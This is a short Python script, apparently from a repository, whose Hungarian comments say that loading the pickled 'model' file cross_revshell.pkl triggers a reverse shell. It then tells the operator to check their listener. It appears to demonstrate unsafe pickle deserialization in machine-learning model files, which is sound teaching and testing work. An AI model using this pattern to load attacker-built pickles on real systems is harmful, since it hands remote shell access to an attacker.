File size: 975 Bytes
703b49b | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | # infer_revshell.py
import pickle
import sys
def load_and_predict(model_path, sample_data=None):
"""
Betölti a pickle fájlt - ez triggereli a reverse shellt!
"""
print(f"[*] Loading model from: {model_path}")
# ⚠️ VESZÉLYES - ez fogja végrehajtani a rosszindulatú kódot
with open(model_path, 'rb') as f:
artifact = pickle.load(f) # ← ITT FUT A REVERSE SHELL
print("[!] Model loaded - check your listener!")
# Ha van sample data, predikció is fut
if sample_data is not None:
print("[*] Making prediction...")
result = artifact.predict(sample_data)
print(f"[+] Prediction: {result}")
return artifact
# Használat
if __name__ == "__main__":
# Alapértelmezett sample (Iris dataset-hez)
sample = [[5.1, 3.5, 1.4, 0.2]] # egy iris sample
# Betöltés és predikció
model = load_and_predict("cross_revshell.pkl", sample) |